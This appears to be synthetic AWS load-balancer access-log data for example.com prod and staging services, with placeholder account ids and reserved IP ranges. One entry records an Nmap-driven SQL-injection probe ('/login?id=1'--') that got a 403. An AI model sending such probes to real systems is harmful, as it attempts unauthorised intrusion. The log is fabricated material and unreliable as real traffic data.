"prod-api-alb.example.com" "-" 2 2024-11-01T01:29:48.152714Z "forward" "-" "-" "10.0.218.109:443" "404" "-" "-" +http 2024-11-01T01:29:50.000316Z staging-alb 153.191.157.31:64137 34.47.192.121:8080 0.009620 0.365616 0.064154 404 404 342 2494 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc9e-3caccfaff93f456baa459687" "staging-alb.example.com" "-" 9 2024-11-01T01:29:50.000316Z "forward" "-" "-" "34.47.192.121:8080" "404" "-" "-" +https 2024-11-01T01:29:50.716044Z prod-web-alb 201.102.226.44:37385 10.0.198.101:443 0.026183 0.497462 0.092077 200 200 759 5254 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc9e-831438a424604a42a7957ccb" "prod-web-alb.example.com" "-" 3 2024-11-01T01:29:50.716044Z "forward" "-" "-" "10.0.198.101:443" "200" "-" "-" +http 2024-11-01T01:29:50.876463Z staging-alb 56.156.92.208:13472 251.115.10.216:80 0.012966 0.081864 0.133480 200 200 105 266 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc9e-f6a2e7a136bf42989a8423ca" "staging-alb.example.com" "-" 6 2024-11-01T01:29:50.876463Z "forward" "-" "-" "251.115.10.216:80" "200" "-" "-" +https 2024-11-01T01:29:52.283653Z staging-alb 223.184.105.107:59764 39.186.122.226:443 0.137270 0.492536 0.014968 404 404 970 4894 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cca0-1a1f042cf5a840b684ce387c" "staging-alb.example.com" "-" 1 2024-11-01T01:29:52.283653Z "forward" "-" "-" "39.186.122.226:443" "404" "-" "-" +http 2024-11-01T01:29:52.564102Z staging-alb 141.19.43.79:27416 202.213.255.172:80 0.032309 0.134221 0.052362 200 200 525 13625 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cca0-4dcd68adfff54daeaaa0b436" "staging-alb.example.com" "-" 7 2024-11-01T01:29:52.564102Z "forward" "-" "-" "202.213.255.172:80" "200" "-" "-" +https 2024-11-01T01:29:53.804011Z staging-alb 127.97.212.35:41615 10.75.244.248:80 0.069409 0.448334 0.005560 301 301 650 3092 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cca1-38afc76157c64419a010032c" "staging-alb.example.com" "-" 4 2024-11-01T01:29:53.804011Z "forward" "-" "-" "10.75.244.248:80" "301" "-" "-" +https 2024-11-01T01:29:54.010116Z staging-alb 166.170.108.149:28876 221.222.35.184:443 0.146395 0.526175 0.045617 404 404 448 1998 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cca2-272799d783a3450daa68ac7a" "staging-alb.example.com" "-" 6 2024-11-01T01:29:54.010116Z "forward" "-" "-" "221.222.35.184:443" "404" "-" "-" +https 2024-11-01T01:29:54.993592Z prod-api-alb 230.116.67.122:23712 10.0.29.195:443 0.009549 0.457406 0.089824 200 200 403 3211 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cca2-69496acdad5c4e17b397bd74" "prod-api-alb.example.com" "-" 6 2024-11-01T01:29:54.993592Z "forward" "-" "-" "10.0.29.195:443" "200" "-" "-" +https 2024-11-01T01:29:55.106139Z prod-web-alb 185.181.129.31:20267 10.0.12.115:443 0.063973 0.483423 0.063147 403 403 334 8195 "GET /login?id=1'-- HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cca3-4e0c46d8d4e04efb828c588f" "-" "-" 3 2024-11-01T01:29:55.106139Z "forward" "-" "-" "10.0.12.115:443" "403" "-" "-" +https 2024-11-01T01:29:56.976457Z prod-web-alb 205.41.132.162:27569 10.0.53.213:443 0.068327 0.134226 0.068155 301 301 142 5397 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cca4-6a624611bc404e67a4312180" "prod-web-alb.example.com" "-" 2 2024-11-01T01:29:56.976457Z "forward" "-" "-" "10.0.53.213:443" "301" "-" "-" +https 2024-11-01T01:29:58.307894Z prod-api-alb 167.16.237.160:60469 10.0.241.247:443 0.006399 0.149322 0.033215 404 404 943 11694 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cca6-4f727fff7f384858a3d32466" "prod-api-alb.example.com" "-" 7 2024-11-01T01:29:58.307894Z "forward" "-" "-" "10.0.241.247:443" "404" "-" "-" +https 2024-11-01T01:29:58.877172Z prod-api-alb 103.117.70.27:23701 10.0.2.125:443 0.044992 0.323994 0.055163 200 200 450 9852 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cca6-9ba1f2e9ad974a439c96e734" "prod-api-alb.example.com" "-" 5 2024-11-01T01:29:58.877172Z "forward" "-" "-" "10.0.2.125:443" "200" "-" "-" +https 2024-11-01T01:29:59.185987Z prod-api-alb 59.193.25.151:36712 10.0.38.188:443 0.051771 0.061642 0.089361 301 301 730 9153 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cca7-8436b1175b43462cbcd9c52d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:29:59.185987Z "forward" "-" "-" "10.0.38.188:443" "301" "-" "-" +https 2024-11-01T01:29:59.457081Z prod-api-alb 105.45.96.66:22906 10.0.252.152:443 0.056749 0.072641 0.095565 302 302 155 11585 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cca7-4862b2d44585418cb1ac9114" "prod-api-alb.example.com" "-" 10 2024-11-01T01:29:59.457081Z "forward" "-" "-" "10.0.252.152:443" "302" "-" "-" +http 2024-11-01T01:30:01.283312Z staging-alb 127.117.14.104:30928 17.138.0.203:80 0.148153 0.108943 0.011844 200 200 830 8883 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cca9-6ff3205c035b400ebd554807" "staging-alb.example.com" "-" 4 2024-11-01T01:30:01.283312Z "forward" "-" "-" "17.138.0.203:80" "200" "-" "-" +https 2024-11-01T01:30:02.592038Z staging-alb 51.209.77.193:54027 190.141.131.112:443 0.117208 0.421102 0.040054 302 302 231 7466 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccaa-58149a3ea00a45008b6e8434" "staging-alb.example.com" "-" 9 2024-11-01T01:30:02.592038Z "forward" "-" "-" "190.141.131.112:443" "302" "-" "-" +https 2024-11-01T01:30:04.260394Z prod-web-alb 224.169.0.101:21067 10.0.63.238:443 0.046900 0.235220 0.052399 302 302 864 3472 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccac-6487ed04f6d840dba31e506b" "prod-web-alb.example.com" "-" 8 2024-11-01T01:30:04.260394Z "forward" "-" "-" "10.0.63.238:443" "302" "-" "-" +https 2024-11-01T01:30:06.119691Z prod-web-alb 1.201.236.61:38604 10.0.213.192:443 0.004309 0.489403 0.022536 301 301 429 3429 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccae-109e94d20e264b35bd4138b9" "prod-web-alb.example.com" "-" 2 2024-11-01T01:30:06.119691Z "forward" "-" "-" "10.0.213.192:443" "301" "-" "-" +https 2024-11-01T01:30:06.384379Z prod-web-alb 224.112.248.75:52554 10.0.248.169:443 0.055799 0.076682 0.036006 404 404 984 5229 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccae-af22550a9bb84df391d1d488" "prod-web-alb.example.com" "-" 1 2024-11-01T01:30:06.384379Z "forward" "-" "-" "10.0.248.169:443" "404" "-" "-" +https 2024-11-01T01:30:07.208738Z prod-api-alb 28.238.77.158:55167 10.0.199.72:443 0.027296 0.474508 0.009506 200 200 820 7217 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccaf-752b87a66179444bb068024e" "prod-api-alb.example.com" "-" 7 2024-11-01T01:30:07.208738Z "forward" "-" "-" "10.0.199.72:443" "200" "-" "-" +https 2024-11-01T01:30:08.362329Z prod-api-alb 65.104.14.86:55112 10.0.247.12:443 0.086056 0.232743 0.045301 200 200 843 4357 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccb0-e9eee13587284c4d9364ff9b" "prod-api-alb.example.com" "-" 9 2024-11-01T01:30:08.362329Z "forward" "-" "-" "10.0.247.12:443" "200" "-" "-" +https 2024-11-01T01:30:09.689852Z prod-web-alb 253.179.66.54:36101 10.0.176.146:443 0.073457 0.424431 0.027184 301 301 326 1512 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccb1-7ab45ce15e924d938f0c2758" "prod-web-alb.example.com" "-" 2 2024-11-01T01:30:09.689852Z "forward" "-" "-" "10.0.176.146:443" "301" "-" "-" +http 2024-11-01T01:30:10.692344Z staging-alb 51.245.138.217:59512 204.137.52.33:80 0.132088 0.239962 0.103077 301 301 948 4058 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccb2-d97d49350883444580ec0abf" "staging-alb.example.com" "-" 3 2024-11-01T01:30:10.692344Z "forward" "-" "-" "204.137.52.33:80" "301" "-" "-" +http 2024-11-01T01:30:11.280288Z staging-alb 188.205.121.121:48057 1.180.183.104:8080 0.139805 0.522484 0.080148 301 301 977 13444 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccb3-0dc16310c7a44c428a046d6a" "staging-alb.example.com" "-" 10 2024-11-01T01:30:11.280288Z "forward" "-" "-" "1.180.183.104:8080" "301" "-" "-" +https 2024-11-01T01:30:11.486756Z prod-web-alb 250.5.234.237:61809 10.0.102.218:443 0.059105 0.149251 0.045344 200 200 676 3059 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccb3-cf8a5c9321934c70ac914cff" "prod-web-alb.example.com" "-" 4 2024-11-01T01:30:11.486756Z "forward" "-" "-" "10.0.102.218:443" "200" "-" "-" +http 2024-11-01T01:30:13.085592Z staging-alb 207.225.247.189:51669 117.41.42.77:8080 0.130093 0.473257 0.029214 302 302 832 8740 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccb5-40425a0bea62498b82bbfbf2" "staging-alb.example.com" "-" 1 2024-11-01T01:30:13.085592Z "forward" "-" "-" "117.41.42.77:8080" "302" "-" "-" +https 2024-11-01T01:30:13.238158Z prod-api-alb 147.76.16.94:38286 10.0.16.86:443 0.041386 0.319269 0.077993 200 200 245 5931 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccb5-264ba460dace435f8d4cbfad" "prod-api-alb.example.com" "-" 7 2024-11-01T01:30:13.238158Z "forward" "-" "-" "10.0.16.86:443" "200" "-" "-" +http 2024-11-01T01:30:15.000977Z staging-alb 110.135.140.217:21807 88.247.246.145:8080 0.095945 0.072627 0.035710 200 200 158 11910 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ccb7-dbeec178305145ecb285f0fa" "staging-alb.example.com" "-" 4 2024-11-01T01:30:15.000977Z "forward" "-" "-" "88.247.246.145:8080" "200" "-" "-" +https 2024-11-01T01:30:15.158791Z prod-api-alb 34.79.223.23:21236 10.0.104.128:443 0.000389 0.242438 0.095486 200 200 216 4855 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccb7-751e655b83114a49a534a3b2" "prod-api-alb.example.com" "-" 8 2024-11-01T01:30:15.158791Z "forward" "-" "-" "10.0.104.128:443" "200" "-" "-" +https 2024-11-01T01:30:16.764666Z prod-api-alb 238.18.184.84:19661 10.0.99.91:443 0.081332 0.469399 0.069855 404 404 628 13059 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccb8-70bd5121f4fd481793d20c07" "prod-api-alb.example.com" "-" 1 2024-11-01T01:30:16.764666Z "forward" "-" "-" "10.0.99.91:443" "404" "-" "-" +https 2024-11-01T01:30:17.510301Z staging-alb 238.104.118.162:57580 169.61.15.56:443 0.078713 0.053341 0.106961 200 200 167 11010 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ccb9-4fb960e9a4d3434ebffe3218" "staging-alb.example.com" "-" 8 2024-11-01T01:30:17.510301Z "forward" "-" "-" "169.61.15.56:443" "200" "-" "-" +https 2024-11-01T01:30:19.100148Z prod-web-alb 19.193.170.73:25261 10.0.28.11:443 0.078539 0.288618 0.022830 302 302 478 1762 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccbb-b695da03d9534c5996845127" "prod-web-alb.example.com" "-" 9 2024-11-01T01:30:19.100148Z "forward" "-" "-" "10.0.28.11:443" "302" "-" "-" +https 2024-11-01T01:30:20.905175Z prod-api-alb 164.11.67.135:20593 10.0.22.77:443 0.096014 0.325881 0.006529 200 200 50 11544 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccbc-765ff12c78dc4c48ae9e37b0" "prod-api-alb.example.com" "-" 8 2024-11-01T01:30:20.905175Z "forward" "-" "-" "10.0.22.77:443" "200" "-" "-" +https 2024-11-01T01:30:21.935014Z prod-web-alb 42.173.184.237:58888 10.0.85.237:443 0.097455 0.245486 0.090319 302 302 845 5545 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccbd-f751c146c3574a80948e5b4f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:30:21.935014Z "forward" "-" "-" "10.0.85.237:443" "302" "-" "-" +https 2024-11-01T01:30:23.797217Z prod-web-alb 63.201.206.38:43498 10.0.88.165:443 0.095847 0.418006 0.052746 301 301 566 1832 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccbf-c985868f7bef47c99e638750" "prod-web-alb.example.com" "-" 4 2024-11-01T01:30:23.797217Z "forward" "-" "-" "10.0.88.165:443" "301" "-" "-" +https 2024-11-01T01:30:24.983709Z prod-web-alb 250.238.247.194:58954 10.0.74.165:443 0.007066 0.192196 0.001406 200 200 778 3752 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccc0-42967db5c67c43629a1a7df7" "prod-web-alb.example.com" "-" 7 2024-11-01T01:30:24.983709Z "forward" "-" "-" "10.0.74.165:443" "200" "-" "-" +https 2024-11-01T01:30:26.047621Z staging-alb 93.128.16.230:60385 70.102.49.110:8080 0.112348 0.721357 0.093364 200 200 3 1450 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccc2-cb6a3127f9704f47aa0ef1ad" "staging-alb.example.com" "-" 9 2024-11-01T01:30:26.047621Z "forward" "-" "-" "70.102.49.110:8080" "200" "-" "-" +https 2024-11-01T01:30:27.070475Z prod-web-alb 52.12.75.153:32328 10.0.103.190:443 0.083766 0.291201 0.098009 404 404 252 8074 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccc3-f6375e9159194f06be8175aa" "prod-web-alb.example.com" "-" 9 2024-11-01T01:30:27.070475Z "forward" "-" "-" "10.0.103.190:443" "404" "-" "-" +https 2024-11-01T01:30:28.492669Z prod-api-alb 137.0.235.4:39591 10.0.30.142:443 0.071828 0.157582 0.079077 404 404 402 9806 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccc4-1c99a0e5a84c4df4a07d49d7" "prod-api-alb.example.com" "-" 7 2024-11-01T01:30:28.492669Z "forward" "-" "-" "10.0.30.142:443" "404" "-" "-" +http 2024-11-01T01:30:29.724864Z staging-alb 236.60.166.92:35764 140.75.220.233:8080 0.140249 0.385641 0.112669 200 200 298 1387 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccc5-35491ed58dbc4bedac13ad71" "staging-alb.example.com" "-" 3 2024-11-01T01:30:29.724864Z "forward" "-" "-" "140.75.220.233:8080" "200" "-" "-" +http 2024-11-01T01:30:30.868389Z staging-alb 7.212.18.170:19695 164.230.160.103:443 0.008337 0.401144 0.103284 200 200 632 11168 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccc6-de6bab30593e4be1909f9508" "staging-alb.example.com" "-" 5 2024-11-01T01:30:30.868389Z "forward" "-" "-" "164.230.160.103:443" "200" "-" "-" +https 2024-11-01T01:30:32.674020Z prod-web-alb 231.146.212.128:62019 10.0.125.92:443 0.037598 0.381631 0.038876 404 404 535 6447 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccc8-d51c55883ef841d780da25c6" "-" "-" 4 2024-11-01T01:30:32.674020Z "forward" "-" "-" "10.0.125.92:443" "404" "-" "-" +https 2024-11-01T01:30:33.703252Z prod-web-alb 33.248.133.88:21792 10.0.172.196:443 0.009939 0.375400 0.000619 302 302 569 1864 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccc9-cf3a7841a0584a09bef17a68" "prod-web-alb.example.com" "-" 1 2024-11-01T01:30:33.703252Z "forward" "-" "-" "10.0.172.196:443" "302" "-" "-" +https 2024-11-01T01:30:34.698428Z prod-api-alb 170.77.23.47:19614 10.0.21.73:443 0.000636 0.470523 0.093909 302 302 635 7401 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccca-676da43967c54cc19ba84b45" "prod-api-alb.example.com" "-" 3 2024-11-01T01:30:34.698428Z "forward" "-" "-" "10.0.21.73:443" "302" "-" "-" +https 2024-11-01T01:30:36.327052Z prod-api-alb 106.165.10.227:21425 10.0.53.27:443 0.024564 0.376869 0.027746 200 200 718 2517 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cccc-a508fabbc4aa4fcf83f67966" "prod-api-alb.example.com" "-" 3 2024-11-01T01:30:36.327052Z "forward" "-" "-" "10.0.53.27:443" "200" "-" "-" +https 2024-11-01T01:30:37.235180Z prod-api-alb 199.95.134.109:18182 10.0.77.46:443 0.058191 0.031938 0.022605 200 200 413 7835 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cccd-0831cc01404f49a5a638e37c" "prod-api-alb.example.com" "-" 2 2024-11-01T01:30:37.235180Z "forward" "-" "-" "10.0.77.46:443" "200" "-" "-" +http 2024-11-01T01:30:39.144560Z staging-alb 187.36.131.253:11343 72.239.65.119:8080 0.061456 0.433756 0.116995 200 200 212 2061 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cccf-136fa687ca4d4e13b96a866d" "staging-alb.example.com" "-" 8 2024-11-01T01:30:39.144560Z "forward" "-" "-" "72.239.65.119:8080" "200" "-" "-" +http 2024-11-01T01:30:39.291912Z staging-alb 63.64.105.22:39034 215.51.233.65:8080 0.026808 0.692027 0.107405 200 200 208 6906 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" 